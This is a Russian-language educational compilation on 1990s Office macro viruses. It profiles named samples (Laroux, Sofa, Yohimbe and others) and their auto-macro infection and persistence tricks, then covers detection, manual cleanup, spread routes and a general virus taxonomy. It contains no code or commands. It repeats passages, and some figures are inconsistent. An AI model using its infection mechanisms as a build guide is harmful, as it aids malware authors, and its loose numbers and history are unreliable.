Макровирусы и их возможности. Макровирусы 12 какие файлы заражают макро вирусы

Вирусы семейства Macro

Вирусы семейства Macro используют возможности макроязыков, встроенных в системы обработки данных (текстовые редакторы, электронные таблицы и т.д.).

Для существования вирусов в конкретной системе необходимо наличие встроенного в нее макро-языка с возможностями привязки программы на макроязыке к конкретному файлу, копирования макропрограмм из одного файла в другой, получения макропрограммой управления без вмешательства пользователя (автоматические или стандартные макросы).

Данным условиям удовлетворяют редакторы Microsoft Word и AmiPro, а также электронная таблица Excel. Эти системы содержат в себе макроязыки (Word - Word Basic, Excel - Visual Basic), при этом макропрограммы привязаны к конкретному файлу (AmiPro) или находятся внутри файла (Word, Excel), макроязык позволяет копировать файлы (AmiPro) или перемещать макропрограммы в служебные файлы системы (Word, Excel), при работе с файлом при определенных условиях (открытие, закрытие и т.д.) вызываются макропрограммы (если таковые есть), которые определены специальным образом (AmiPro) или имеют стандартные имена (Word, Excel).

Итак, на сегодняшний день известны три системы, для которых существуют вирусы - Microsoft Word, Excel и AmiPro. В них вирусы получают управление при открытии или закрытии зараженного файла, перехватывают стандартные файловые функции и затем заражают файлы, к которым каким-либо образом происходит обращение. По аналогии с MS-DOS можно сказать, что макровирусы являются резидентными - они активны не только в момент открытия/закрытия файла, но и до тех пор, пока активен сам редактор (система).

Вирусы для Microsoft Office"97

Macro.Office97.Frenzy

Состоит из единственного макроса Frenzy, содержащего автофункцию AutoOpen. Заражает систему при открытии зараженного файла. После чего записывается в документы при их открытии. В зависимости от системной даты и системного случайного счетчика выводит текст

Word97.Frenzy by Pyro

Macro.Office97.Minimal

Довольно примитивный макровирус для Office 97. Содержит единственный макрос AutoOpen. Заражает систему при открытии инфицированного файла, в документы также записывается при их открытии. Содержит закомментированный текст

Vesselin Bontchev

Macro.Office97.NightShade

Состоит из единственного макроса NightShade, содержащего автофункцию AutoClose, и заражает систему и документы при закрытии файлов. Выключает встроенную защиту от вирусов и разрешает запуск автофункций. В зависимости от текущей даты и системного случайного счетчика выводит текст

Word97.NightShade by Pyro

По 13-м субботам устанавливает в документах пароль NightShade.

Вирусы для Microsoft Excel

Macro.Excel.Laroux

Заражает электронные таблицы Excel (файлы XLS). Содержит два макроса: Auto_Open и Check_Files. При открытии зараженного файла Excel автоматически выполняет макрос Auto_Open. В вирусе этот макрос содержит всего одну команду, которая определяет макрос Check_Files как выполняемый при активизации любой таблицы (Sheet). Таким образом вирус перехватывает процедуру открытия таблиц и при активировании таблицы зараженный Excel вызывает макрос Check_Files, то есть код вируса.

Получив управление, макрос Check_Files ищет файл PERSONAL.XLS в каталоге запуска Excel (Startup Directory) и проверяет количество модулей в текущем Workbook. Если активным является Workbook с вирусом и файл PERSONAL.XLS не существует (первое заражение), то вирус с помощью команды SaveAs создает в каталоге запуска Excel файл с этим именем. В результате в него записывается код вируса из текущего файла. При очередной загрузке Excel загружает все XLS-файлы из каталога запуска, зараженный файл PERSONAL.XLS также загружается в память, вирус опять получает управление и при открытии таблиц снова будет вызываться макрос Check_Files из PERSONAL.XLS.

Если же количество модулей в текущем Workbook равно 0 (зараженный Workbook не является активным) и файл PERSONAL.XLS уже существует, то вирус переписывает свой код в активный Workbook. После этого активный Workbook становится зараженным.

Проверить систему на наличие вируса несложно. Если вирус уже проник в компьютер, то в каталоге Excel должен присутствовать файл PERSONAL.XLS, в котором видна строка laroux (маленькими буквами). Эта же строка присутствует и в других зараженных файлах.

Macro.Excel.Legend

Макровирус, заражающий файлы Excel. Содержит один модуль (макрос) с именем Legend. Этот модуль включает две процедуры - Auto_Open и INFECT. Auto_Open является процедурой Excel, автоматически вызываемой при открытии файла. При запуске Auto_Open устанавливает вторую процедуру вируса (Infect), как обработчик события SheetActivate, то есть при открытии любой таблицы Excel будет вызывать процедуру Infect.

При вызове процедура Infect заражает либо файл PERSONAL.XLS (когда открыт зараженный файл), либо текущий файл (если он еще не заражен). После заражения вирус удаляет из меню пункт Tools/Macro. Если UserName = "Pyro" и OrganizationName = "VBB", вирус немедленно прекращает работу и не заражает файлов. В зависимости от текущего дня и системного случайного счетчика вирус выводит MessageBox:

You"ve Been Infected By Legend!

Macro.Excel.Robocop

Макровирус, поражающий файлы Excel. Включает два модуля (макроса): COP и ROBO. Модуль ROBO содержит автоматически вызываемую процедуру Auto_Open, которая при открытии зараженного документа записывает код вируса в файл PERSONAL.XLS и устанавливает на код вируса адрес обработчика активизации таблиц (SheetActivate). Затем вирус заражает файлы при открытии таблиц.

ROBOCOP Nightmare Joker

Macro.Excel.Sofa

Заражает таблицы Excel. Содержит один модуль (макрос), имя которого состоит из 11 пробелов и поэтому не видно в списке макросов в меню Tools/Macros. Модуль содержит четыре макрофункции: Auto_Open, Auto_Range, Current_Open, Auto_ Close. Все функции вируса в качестве результата возвращают Null.

При открытии зараженного файла срабатывает макрофункция Auto_Open, которая "переименовывает" Excel - в титульной строке вместо надписи Microsoft Excel появляется Microsofa Excel. Если в каталоге Startup Path отсутствует файл BOOK.XLT (система еще не заражена), то на экран выводится сообщение:

Microsoft Excel has detected a corrupted add-in file.Click OK to repair this file.

Независимо от ответа пользователя в каталоге Startup Path создается файл BOOK.XLT, содержащий код вируса. После заражения выводится сообщение

File successfully repaired!

При загрузке Excel автоматически загружает XLT-файлы из Startup Path и, соответственно, активизирует вирус. Вирус назначает на функцию OnSheetActivate свою функцию Auto_Range и при каждой активации таблицы проверяет активный файл на зараженность и, если файл не заражен, заражает его.

Вирус не дает выгрузить себя из Excel - при закрытии каждого файла назначает на функцию OnWindow ту же функцию Auto_Range, то есть повторно активизируется при открытии нового файла.

Macro.Excel.Yohimbe

Состоит из одного модуля (макроса) с именем Exec. Этот модуль содержит три подпрограммы: Auto_Open, DipDing, PayLoad и функцию SheetExists. Подпрограмма Auto_Open автоматически вызывается при открытии зараженного файла - вирус при этом заражает PERSONAL.XLS. В случае любой ошибки вирус записывается во все открытые файлы (книги). Перед возвратом управления Auto_Open устанавливает подпрограмму DipDing на таймер Excel. Эта подпрограмма вызывается начиная с 16:00 и заражает открытые файлы.

Вирус записывает строку Yohimbe в заголовок таблицы. Он также устанавливает таймер на подпрограмму PayLoad - она вызывается в 16:45 и вставляет в текущую таблицу картинку и текст

Евгений Касперский

Макровирусы (macro viruses) являются программами написанными на языках (макроязыках), встроенных в некоторые системы обработки данных (текстовые редакторы, электронные таблицы и т. д.). Для своего размножения такие вирусы используют возможности макроязыков и при их помощи переносятся из одного зараженного файла (документа или таблицы) в другие. Наибольшее распространение получили макровирусы для Microsoft Word, Excel и Office 97.

Для существования вирусов в конкретной системе (редакторе) необходимо наличие встроенного в систему макроязыка с возможностями:

  1. привязки программы на макроязыке к конкретному файлу;
  2. копирования макропрограмм из одного файла в другой;
  3. получения управления макропрограммой без вмешательства пользователя (автоматические или стандартные макросы).

Описанным условиям удовлетворяют редакторы MS Word, MS Office 97 и AmiPro, а также электронная таблица MS Excel. Эти системы содержат в себе макроязыки (MS Word - Word Basic, MS Excel и MS Office 97 - Visual Basic), при этом:

  1. макропрограммы привязаны к конкретному файлу (AmiPro) или находятся внутри файла (MS Word/Excel/Office 97);
  2. макроязык позволяет копировать файлы (AmiPro) или перемещать макропрограммы в служебные файлы системы и редактируемые файлы (MSWord /Excel/Office 97);
  3. при работе с файлом при определенных условиях (открытие, закрытие и т. д.) вызываются макропрограммы (если таковые есть), которые определены специальным образом (AmiPro) или имеют стандартные имена (MS Word/Excel/ Office 97).

Последняя особенность предназначена для автоматической обработки данных в больших организациях или в глобальных сетях и позволяет организовать так называемый «автоматизированный документооборот». С другой стороны, возможности макроязыков таких систем позволяют вирусу переносить свой код в другие файлы и таким образом заражать их.

В четырех указанных выше программных продуктах вирусы получают управление при открытии или закрытии зараженного файла, перехватывают стандартные файловые функции и затем заражают файлы, к которым каким-либо образом идет обращение. По аналогии с DOS можно сказать, что большинство макровирусов являются резидентными вирусами: они активны не только в момент открытия или закрытия файла, но до тех пор, пока активен сам редактор.


общие сведения

Физическое расположение вируса внутри файла зависит от его формата, который в случае продуктов Microsoft чрезвычайно сложен: каждый файл-документ Word, Office 97 или таблица Excel представляют собой последовательность блоков данных (каждый из которых также имеет свой формат), объединенных между собой при помощи большого количества служебных данных. Этот формат носит название OLE2 (Object Linking and Embedding). Структура файлов Word, Excel и Office 97 (OLE2) напоминает усложненную файловую систему дисков DOS: «корневой каталог» файла-документа или таблицы указывает на основные подкаталоги различных блоков данных, несколько «таблиц FAT» содержат информацию о расположении блоков данных в документе и т. д.

Более того, система Office Binder, поддерживающая стандарты Word и Excel, позволяет создавать файлы, одновременно содержащие один или несколько документов в формате Word и одну или несколько таблиц в формате Excel, причем Word-вирусы способны при этом поражать Word-документы, а Excel-вирусы - Excel-таблицы, и все это возможно в пределах одного дискового файла. То же справедливо и для Office 97.

Следует отметить, что MS Word версий 6 и 7 позволяет шифровать присутствующие в документе макросы. Таким образом, некоторые Word-вирусы присутствуют в зараженных документах в зашифрованном (Execute only) виде.

Большинство известных вирусов для Word несовместимы с национальными (в том числе с русской) версиями Word или, наоборот, рассчитаны только на локализованные версии Word и не работают под английской версией. Однако вирус в документе все равно остается активным и может заражать другие компьютеры с установленной на них соответствующей версией Word.

Вирусы для Word могут заражать компьютеры любого класса, а не только IBM PC. Заражение возможно в том случае, если на данном компьютере установлен текстовый редактор, полностью совместимый с Microsoft Word версии 6 или 7 (например, MS Word for Macintosh). То же справедливо и для MS Excel и MS Office 97.

Интересно, что форматы документов Word, таблиц Excel и особенно Office 97 имеют следующую особенность: в файлах-документах и таблицах присутствуют «лишние» блоки данных, т. е. данные, никак не связанные с редактируемым текстом или таблицами, либо случайно оказавшиеся там копии прочих данных файла. Причиной возникновения таких блоков данных является кластерная организация данных в OLE2-документах и таблицах. Даже если введен всего один символ текста, то под него выделяется один или даже несколько кластеров данных. При сохранении документов и таблиц в кластерах, не заполненных «полезными» данными, остается «мусор», который попадает в файл вместе с прочими данными. Количество «мусора» в файлах может быть уменьшено отменой пункта настройки Word/Excel «Allow Fast Save», однако это лишь уменьшает общее количество «мусора», но не убирает его полностью.

ледует также отметить тот факт, что некоторые версии OLE2.DLL содержат небольшой недочет, в результате которого при работе с документами Word, Excel и особенно Office 97 в блоки «мусора» могут попасть случайные данные с диска, включая конфиденциальные (удаленные файлы, каталоги и т. д.).

MS Word/Excel/Office 97-вирусы:
принципы работы

При работе с документом MS Word версий 6 и 7 выполняет различные действия: открывает документ, сохраняет, печатает, закрывает и т. д. При этом Word ищет и выполняет соответствующие встроенные макросы: при сохранении файла по команде File/Save вызывается макрос FileSave, при сохранении по команде File/SaveAs - FileSaveAs, при печати документов - FilePrint и т. д., если, конечно, таковые макросы определены.

Существуют также несколько «автомакросов», автоматически вызываемых при различных условиях. Например, при открытии документа Word проверяет его на наличие макроса AutoOpen. Если такой макрос присутствует, то Word выполняет его. При закрытии документа Word выполняет макрос AutoClose, при запуске Word вызывается макрос AutoExec, при завершении работы - AutoExit, при создании нового документа - AutoNew. Похожие механизмы, но с другими именами макросов и функций, используются и в Excel/Office 97.

Макровирусы, поражающие файлы Word, Excel или Office 97, как правило пользуются одним из трех вышеперечисленных приемов:

  1. в вирусе присутствует автомакрос (автофункция);
  2. в вирусе переопределен один из стандартных системных макросов (ассоциированный с каким-либо пунктом меню);
  3. макрос вируса автоматически вызывается при нажатии на какую-либо клавишу или комбинацию клавиш.

Бывают также полувирусы, которые не используют перечисленные приемы и размножаются, только если пользователь самостоятельно запускает их на выполнение.

Большинство макровирусов содержат все свои функции в виде стандартных макросов MS Word/Excel/Office 97. Существуют, однако, вирусы, использующие приемы скрытия своего кода и хранящие свой код в виде не-макросов. Известны три подобных приема. Все они используют возможность макросов создавать, редактировать и исполнять другие макросы. Как правило, подобные вирусы имеют небольшой (иногда полиморфный) макрос-загрузчик, который вызывает встроенный редактор макросов, создает новый макрос, заполняет его основным кодом вируса, выполняет и затем, как правило, уничтожает, чтобы скрыть следы присутствия вируса. Основной код таких вирусов присутствует либо в теле самого вируса в виде текстовых строк, либо хранится в области переменных документа или в области Auto-text.

Алгоритм работы
макровирусов для Word

Большинство известных Word-вирусов (версий 6, 7 и Word 97) при запуске переносят собственный код в область глобальных макросов документа («общие» макросы).

При выходе из Word глобальные макросы (включая макросы вируса) автоматически записываются в DOT-файл глобальных макросов (обычно таким файлом является NORMAL.DOT). Таким образом, вирус активизируется в тот момент, когда Word грузит глобальные макросы.

Затем вирус переопределяет (или уже содержит в себе) один или несколько стандартных макросов (например, FileOpen, FileSave, FileSaveAs, FilePrint) и перехватывает таким образом команды работы с файлами. При вызове этих команд заражается файл, к которому идет обращение. Для этого вирус конвертирует файл в формат Template (что делает невозможными дальнейшие изменения формата файла, т. е. конвертирование в какой-либо не-Template формат) и записывает в файл свои макросы, включая Auto-макрос.

Другой способ внедрения вируса в систему базируется на так называемых «Add-in» файлах, т. е. файлах, являющихся служебными дополнениями к Word. В этом случае NORMAL.DOT не изменяется, а Word при запуске загружает макросы вируса из файла (или файлов), определенного как «Add-in». Этот способ практически полностью повторяет заражение глобальных макросов за тем лишь исключением, что макросы вируса хранятся не в NORMAL.DOT, а в каком-либо другом файле.

Возможно также внедрение вируса в файлы, расположенные в каталоге STARTUP. В этом случае Word автоматически подгружает файлы-шаблоны из этого каталога, но такие вирусы пока не встречались.

Обнаружение макровируса

Характерными признаками присутствия макровирусов являются:

  1. невозможность конвертирования зараженного документа Word в другой формат;
  2. зараженные файлы имеют формат Template (шаблон), поскольку при заражении Word-вирусы конвертируют файлы из формата Word Document в Template
  3. невозможность записи документа в другой каталог или на другой диск командой «Save As» (только для Word 6);
  4. в STARTUP-каталоге присутствуют «чужие» файлы;
  5. наличие в Книге (Book) «лишних» и скрытых Листов (Sheets).

Для проверки системы на предмет наличия вируса можно использовать пункт меню Tools/Macro. Если обнаружены «чужие макросы», то они могут принадлежать вирусу. Однако этот метод не работает в случае стелс-вирусов, которые «запрещают» работу этого пункта меню, что, в свою очередь, является достаточным основанием считать систему зараженной.

Многие вирусы имеют ошибки или некорректно работают в различных версиях Word/Excel, в результате чего эти программы выдают сообщения об ошибке, например:

WordBasic Err = номер ошибки.

Если такое сообщение появляется при редактировании нового документа или таблицы и при этом заведомо не используются какие-либо пользовательские макросы, то это также может служить признаком заражения системы. Также сигналом о вирусе являются изменения в файлах и системной конфигурации Word, Excel и Windows. Многие вирусы тем или иным образом меняют пункты меню Tools/Options - разрешают или запрещают функции «Prompt to Save Normal Template», «Allow Fast Save», «Virus Protection». Некоторые вирусы устанавливают на файлы пароль при их заражении. Большое количество вирусов создают новые секции и/или опции в файле конфигурации Windows (WIN.INI).

Естественно, что к проявлениям вируса относятся такие «неожиданности», как появление сообщений или диалогов с достаточно странным содержанием или на языке, не совпадающем с языком установленной версии Word/Excel.

Восстановление
пораженных объектов

В большинстве случаев процедура «лечения» зараженных файлов и дисков сводится к запуску подходящего антивирусного программного обеспечения. Но бывают ситуации, когда обезвреживание вируса приходится осуществлять самостоятельно, т. е. «руками».

Для обезвреживания вирусов Word и Excel достаточно сохранить всю необходимую информацию в формате не-документов и не-таблиц. Наиболее подходящим является текстовый RTF-формат, включающий практически всю информацию из первоначальных документов и не содержащий макросов.

Затем следует выйти из Word/Excel, уничтожить все зараженные Word-документы, Excel-таблицы, NORMAL.DOT для Word и все документы/таблицы в STARTUP-каталогах Word/Excel. После этого следует запустить Word/Excel и восстановить документы/таблицы из RTF-файлов.

В результате этой процедуры вирус будет удален из системы, а практически вся информация останется без изменений. Однако этот метод имеет ряд недостатков. Основным является трудоемкость конвертирования документов и таблиц в RTF-формат, если их число велико. К тому же в случае Excel необходимо отдельно конвертировать все Листы (Sheets) в каждом Excel-файле.

Другим существенным недостатком является потеря нормальных макросов, использующихся при работе. Поэтому перед запуском описанной процедуры следует сохранить их исходный текст, а после обезвреживания вируса восстановить необходимые макросы в первоначальном виде.

Откуда берутся вирусы
и как избежать заражения

Основным источником вирусов на сегодняшний день является Internet. Наибольшее число заражений вирусом происходит при обмене письмами в форматах MS Word/Office 97: пользователь зараженного макровирусом редактора, сам того не подозревая, рассылает «инфицированные» письма своим адресатам, а они рассылают новые письма и т. д.

Предположим, что пользователь ведет переписку с пятью адресатами, каждый из которых, в свою очередь, ведет переписку также с пятью адресатами. После посылки «вирусного» письма все пять компьютеров, получившие его, оказываются зараженными. На втором уровне рассылки будут заражены уже 1+5+20=26 компьютеров. Если адресаты сети обмениваются письмами раз в день, то к концу рабочей недели (за 5 дней) зараженными окажутся как минимум 1+5+20+ 80+320=426 компьютеров. Нетрудно подсчитать, что за 10 дней заразятся более ста тысяч компьютеров! Причем каждый день их количество будет учетверяться.

Описанный случай распространения вируса наиболее часто регистрируется антивирусными компаниями. Но нередки случаи, когда зараженный файл-документ или таблица Excel по причине недосмотра попадает в списки рассылки коммерческой информации какой-либо крупной компании. В этом случае пострадают уже не пять, а сотни или даже тысячи абонентов таких рассылок, которые затем разошлют зараженные файлы десяткам тысячам своих абонентов.

Файл-серверы общего пользования и электронные конференции также служат одним из основных источников распространения вирусов. Практически каждую неделю приходит сообщение о том, что кто-то из пользователей заразил свой компьютер вирусом, который был получен из BBS, ftp-сервера или электронной конференции.

При этом часто зараженные файлы «закачиваются» автором вируса на несколько BBS/ftp или рассылаются по нескольким конференциям под видом новых версий какого-либо программного обеспечения (вплоть до антивирусов).

В случае массовой рассылки вируса по файл-серверам BBS/ftp пораженными одновременно могут оказаться тысячи компьютеров, однако в большинстве случаев «рассылаются» DOS- или Windows-вирусы, скорость распространения которых в современных условиях значительно ниже, чем у их макрособратьев. По этой причине подобные инциденты практически никогда не кончаются массовыми эпидемиями.

Третий путь быстрого распространения вирусов - локальные сети. Если не принимать необходимых мер защиты, то зараженная рабочая станция при входе в сеть заражает один или несколько служебных файлов на сервере, различное программное обеспечение, стандартные документы-шаблоны или Excel-таблицы, применяемые в фирме, и т. д.

Опасность представляют также компьютеры, установленные в учебных заведениях. Если один из студентов принес на своих дискетах вирус и заразил какой-либо из учебных компьютеров, то очередную «заразу» получат и все остальные студенты, работающие на этом компьютере.

То же относится и к домашним компьютерам, если на них работает более одного человека. Нередки ситуации, когда сын-студент (или дочь), работая на многопользовательском компьютере в институте, перетаскивают вирус на домашний компьютер, в результате чего вирус попадает в компьютерную сеть фирмы папы или мамы.

В заключение хочется отметить, что, несмотря на кажущуюся сложность борьбы с макровирусами, обезопасить себя от этой «инфекции» при спокойном и грамотном подходе к проблеме не столь уж сложно.

Достаточно редко, но до сих пор вполне реально заразить свой компьютер вирусом при его ремонте или профилактическом осмотре. Ремонтники - тоже люди, и некоторым из них бывает свойственно наплевательски относиться к элементарным правилам компьютерной безопасности.

Макровирус - это разновидность компьютерных вирусов разработанных на макроязыках , встроенных в такие прикладные пакеты ПО , как Microsoft Office . Для своего размножения такие вирусы используют возможности макроязыков и при их помощи переносятся из одного зараженного файла в другие. Большая часть таких вирусов написана для MS Word .

Наибольшее распространение получили макровирусы для Microsoft Word, Excel и Office 97.

Для существования вирусов в конкретной системе (редакторе) необходимо наличие встроенного в систему макроязыка с возможностями:

  1. привязки программы на макроязыке к конкретному файлу;
  2. копирования макропрограмм из одного файла в другой;
  3. получения управления макропрограммой без вмешательства пользователя (автоматические или стандартные макросы). Описанным условиям удовлетворяют редакторы MS Word, MS Office 97 и AmiPro, а также электронная таблица MS Excel. Эти системы содержат в себе макроязыки (MS Word - Word Basic, MS Excel и MS Office 97 - Visual Basic), при этом:

1. макропрограммы привязаны к конкретному файлу (AmiPro) или находятся внутри файла (MS Word/Excel/Office 97);

2. макроязык позволяет копировать файлы (AmiPro) или перемещать макропрограммы в служебные файлы системы и редактируемые файлы (MSWord /Excel/Office 97);

3. при работе с файлом при определенных условиях (открытие, закрытие и т. д.) вызываются макропрограммы (если таковые есть), которые определены специальным образом (AmiPro) или имеют стандартные имена (MS Word/Excel/ Office 97).

В четырех указанных выше программных продуктах вирусы получают управление при открытии или закрытии зараженного файла, перехватывают стандартные файловые функции и затем заражают файлы, к которым каким-либо образом идет обращение. По аналогии с DOS можно сказать, что большинство макровирусов являются резидентными вирусами: они активны не только в момент открытия или закрытия файла, но до тех пор, пока активен сам редактор.

Принципы работы

Макровирусы, поражающие файлы Word, Excel или Office 97, как правило пользуются одним из трех нижеперечисленных приемов:

Бывают также полувирусы, которые не используют перечисленные приемы и размножаются, только если пользователь самостоятельно запускает их на выполнение.

Большинство макровирусов содержат все свои функции в виде стандартных макросов MS Word/Excel/Office 97. Существуют, однако, вирусы, использующие приемы скрытия своего кода и хранящие свой код в виде не-макросов. Известны три подобных приема. Все они используют возможность макросов создавать, редактировать и исполнять другие макросы. Как правило, подобные вирусы имеют небольшой (иногда полиморфный) макрос-загрузчик, который вызывает встроенный редактор макросов, создает новый макрос, заполняет его основным кодом вируса, выполняет и затем, как правило, уничтожает, чтобы скрыть следы присутствия вируса. Основной код таких вирусов присутствует либо в теле самого вируса в виде текстовых строк, либо хранится в области переменных документа или в области Auto-text.


Обнаружение макровируса


Характерными признаками присутствия макровирусов являются:
  • невозможность конвертирования зараженного документа Word в другой формат. Зараженные файлы имеют формат Template (шаблон), поскольку при заражении Word-вирусы конвертируют файлы из формата Word Document в Template;
  • невозможность записи документа в другой каталог или на другой диск командой «Save As» (только для Word 6);
  • в STARTUP-каталоге присутствуют «чужие» файлы;
  • наличие в Книге (Book) «лишних» и скрытых Листов (Sheets).

Компьютерным вирусом называется программа, которая обладает способностью создавать свои копии, и внедрять их в различные объекты и ресурсы компьютерных систем, сетей и т.д. без ведома пользователя. При этом копии сохраняют способность дальнейшего распространения.

Заражение программы, как правило, выполняется таким образом, чтобы вирус получил управление раньше самой программы. Для этого он либо встраивается в начало программы, либо имплантируется в ее тело так, что первой командой зараженной программы является безусловный переход на компьютерный вирус, текст которого заканчивается аналогичной командой безусловного перехода на команду вирусоносителя, бывшую первой до заражения. Получив управление, вирус выбирает следующий файл, заражает его, возможно, выполняет какие-либо другие действия, после чего отдает управление вирусоносителю.

Первичное заражение происходит в процессе наступления инфицированных программ из памяти одной машины в память другой, причем в качестве средства перемещения этих программ могут использоваться как носители информации (оптические диски, флэш-память и т.п.), так и каналы вычислительных сетей. Вирусы, использующие для размножения сетевые средства, сетевые протоколы, управляющие команды компьютерных сетей и электронной почты, принято называть сетевыми.

Цикл жизни вируса обычно включает следующие периоды: внедрение, инкубационный, репликации (саморазмножения) и проявления. В течение инкубационного периода вирус пассивен, что усложняет задачу его поиска и нейтрализации. На этапе проявления вирус выполняет свойственные ему целевые функции, например необратимую коррекцию информации в компьютере или на внешних носителях.

Физическая структура компьютерного вируса достаточно проста. Он состоит из головы и, возможно, хвоста. Под головой вируса понимается его компонента, получающая управление первой. Хвост – это часть вируса, расположенная в тексте зараженной программы отдельно от головы. Вирусы, состоящие из одной головы, называют несегментированными , тогда как вирусы, содержащие голову и хвост, — сегментированными .

Наиболее существенные признаки компьютерных вирусов позволяют провести следующую их классификацию.

Существует несколько подходов к классификации компьютерных вирусов по их характерным особенностям:

— по среде обитания вируса;

— по способу заражения;

— по деструктивным возможностям;

— по особенностям алгоритма работ.

По среде обитания вирусы подразделяются на:

Файловые вирусы — вирусы поражающие исполняемые файлы, написанные в различных форматах. Соответственно в зависимости от формата, в котором написана программа это будут EXE или COM вирусы.

Загрузочные вирусы — вирусы поражающие загрузочные сектора (Boot сектора) дисков или сектор содержащий системный загрузчик(Master Boot Record) винчестера.

Сетевые вирусы — вирусы, распространяющиеся в различных компьютерных сетях и системах.

Макро вирусы — вирусы поражающие файлы Microsoft Office

Flash вирусы — вирусы поражающие микросхемы FLASH памяти BIOS.

По способу заражения вирусы делятся на:

Резидентные вирусы — вирусы, которые при инфицировании компьютера оставляют свою резидентную часть в памяти. Они могут перехватывать прерывания операционной системы, а также обращения к инфицированным файлам со стороны программ и операционной системы. Эти вирусы могут оставаться активными вплоть до выключения или перезагрузки компьютера.

Нерезидентные вирусы — вирусы, не оставляющие своих резидентных частей в оперативной памяти компьютера. Некоторые вирусы оставляют в памяти некоторые свои фрагменты не способные к дальнейшему размножению такие вирусы считаются не резидентными.

По деструктивным возможностям вирусы подразделяются на:

Безвредные вирусы — это вирусы ни как не влияющие на работу компьютера за исключение, быть может, уменьшения свободного места на диске и объема оперативной памяти.

Неопасные вирусы — вирусы, которые проявляют себя в выводе различных графических, звуковых эффектов и прочих безвредных действий.

Опасные вирусы — это вирусы, которые могут привести к различным сбоям в работе компьютеров, а также их систем и сетей.

Очень опасные вирусы — это вирусы, приводящие к потере, уничтожению информации, потере работоспособности программ и системы в целом.

По особенностям алгоритма работы вирусы можно подразделить на:

Вирусы спутники(companion) — эти вирусы поражают EXE-файлы путем создания COM-файла двойника, и поэтому при запуске программы запустится, сначала COM-файл с вирусом, после выполнения своей работы вирус запустит EXE-файл. При таком способе заражения «инфицированная» программа не изменяется.

Вирусы «черви» (Worms) — вирусы, которые распространяются в компьютерных сетях. Они проникают в память компьютера из компьютерной сети, вычисляют адреса других компьютеров и пересылают на эти адреса свои копии. Иногда они оставляют временные файлы на компьютере но некоторые могут и не затрагивать ресурсы компьютера за исключением оперативной памяти и разумеется процессора.

«Стелс-вирусы» (вирусы-невидимки, stealth) — представляющие собой весьма совершенные программы, которые перехватывают обращения DOS к пораженным файлам или секторам дисков подставляют вместо себя незараженные участки информации. Кроме этого, такие вирусы при обращении к файлам используют достаточно оригинальные алгоритмы, позволяющие «обманывать» резидентные антивирусные мониторы.

«Полиморфные» (самошифрующиеся или вирусы-призраки, polymorphic) — вирусы, достаточно трудно обнаруживаемые вирусы, не имеющие сигнатур, т.е. не содержащие ни одного постоянного участка кода. В большинстве случаев два образца одного и того же полиморфного вируса не будут иметь ни одного совпадения. Это достигается шифрованием основного тела вируса и модификациями программы-расшифровщика.

«Макро-вирусы» — вирусы этого семейства используют возможности макроязыков, встроенных в системы обработки данных (текстовые редакторы, электронные таблицы и т.д.). В настоящее время наиболее распространены макро-вирусы, заражающие текстовые документы редактора Microsoft Word.

По режиму функционирования:

— резидентные вирусы (вирусы, которые после активизации постоянно находятся в оперативной памяти компьютера и контролируют доступ к его ресурсам);

— транзитные вирусы (вирусы, которые выполняются только в момент запуска зараженной программы).

По объекту внедрения:

— файловые вирусы (вирусы, заражающие файлы с программами);

— загрузочные вирусы (вирусы, заражающие программы, хранящиеся в системных областях дисков).

В свою очередь, файловые вирусы подразделяются на вирусы, заражающие:

— исполняемые файлы;

— командные файлы и файлы конфигурации;

— составляемые на макроязыках программирования, или файлы, содержащие макросы (макровирусы — разновидность компьютерных вирусов разработанных на макроязыках, встроенных в такие прикладные пакеты ПО, как Microsoft Office);

— файлы с драйверами устройств;

— файлы с библиотеками исходных, объектных, загрузочных и оверлейных модулей, библиотеками динамической компоновки и т.п.

Загрузочные вирусы подразделяются на вирусы, заражающие:

— системный загрузчик, расположенный в загрузочном секторе и логических дисков;

— внесистемный загрузчик, расположенный в загрузочном секторе жестких дисков.

По степени и способу маскировки:

— вирусы, не использующие средств маскировки;
— stealth-вирусы (вирусы, пытающиеся быть невидимыми на основе контроля доступа к зараженным элементам данных);
— вирусы-мутанты (MtE-вирусы, содержащие в себе алгоритмы шифрования, обеспечивающие различие разных копий вируса).

В свою очередь, MtE-вирусы делятся:

— на обычные вирусы-мутанты, в разных копиях которых различаются только зашифрованные тела, а дешифрованные тела вирусов совпадают;

— полиморфные вирусы, в разных копиях которых различаются не только зашифрованные тела, но и их дешифрованные тела.

Наиболее распространенные типы вирусов характеризуются следующими основными особенностями.

Файловый транзитный вирус целиком размещается в исполняемом файле, в связи, с чем он активизируется только в случае активизации вирусоносителя, а по выполнении необходимых действий возвращает управление самой программе. При этом выбор очередного файла для заражения осуществляется вирусом посредством поиска по каталогу.

Файловый резидентный вирус отличается от нерезидентного логической структурой и общим алгоритмом функционирования. Резидентный вирус состоит из так называемого инсталлятора и программ обработки прерываний. Инсталлятор получает управление при активизации вирусоносителя и инфицирует оперативную память путем размещения в ней управляющей части вируса и замены адресов в элементах вектора прерываний на адреса своих программ, обрабатывающих эти прерывания. На так называемой фазе слежения, следующей за описанной фазой инсталляции, при возникновении какого-либо прерывания управление получает соответствующая подпрограмма вируса. В связи с существенно более универсальной по сравнению с нерезидентными вирусами общей схемой функционирования резидентные вирусы могут реализовывать самые разные способы инфицирования.

Stealth-вирусы пользуются слабой защищенностью некоторых операционных систем и заменяют некоторые их компоненты (драйверы дисков, прерывания) таким образом, что вирус становится невидимым (прозрачным) для других программ.

Полиморфные вирусы содержат алгоритм порождения дешифрованных тел вирусов, непохожих друг на друга. При этом в алгоритмах дешифрования могут встречаться обращения практически ко всем командам процессора Intel и даже использоваться некоторые специфические особенности его реального режима функционирования.

Макровирусы распространяются под управлением прикладных программ, что делает их независимыми от операционной системы. Подавляющее число макровирусов функционирует под управлением текстового процессора Microsoft Word. В то же время известны макровирусы, работающие под управлением таких приложений, как Microsoft Excel, Lotus Ami Pro, Lotus 1-2-3, Lotus Notes, в операционных системах фирм Microsoft и Apple.

Сетевые вирусы , называемые также автономными репликативными программами, или, для краткости, репликаторами, используют для размножения средства сетевых операционных систем. Наиболее просто реализуется размножение в тех случаях, когда сетевыми протоколами возможно и в тех случаях, когда указанные протоколы ориентированы только на обмен сообщениями. Классическим примером реализации процесса электронной почты является репликатор Морриса. Текст репликатора передается от одной ЭВМ к другой как обычное сообщение, постепенно заполняющее буфер, выделенный в оперативной памяти ЭВМ-адресата. В результате переполнения буфера, инициированного передачей, адрес возврата в программу, вызвавшую программу приема сообщения, замещается на адрес самого буфера, где к моменту возврата уже находится текст вируса. Тем самым вирус получает управление и начинает функционировать на ЭВМ-адресате.

